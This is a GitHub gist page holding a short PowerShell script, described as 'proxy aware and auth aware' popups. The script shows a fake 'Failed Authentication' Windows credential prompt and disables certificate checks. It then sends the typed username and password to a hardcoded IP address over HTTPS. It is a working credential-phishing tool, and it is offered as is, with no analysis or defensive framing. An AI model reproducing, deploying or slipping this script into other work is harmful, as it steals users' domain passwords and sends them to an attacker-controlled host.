Skip to content

Instantly share code, notes, and snippets.

@prashanth-sams
Forked from mubix/powershellpopup.ps1
Created March 20, 2017 12:53
Show Gist options
  • Save prashanth-sams/f8e7a879f9715ea56eaa19ad88a6cf36 to your computer and use it in GitHub Desktop.
Save prashanth-sams/f8e7a879f9715ea56eaa19ad88a6cf36 to your computer and use it in GitHub Desktop.
Powershell Popups, proxy aware and auth aware
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('https://172.16.102.163');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment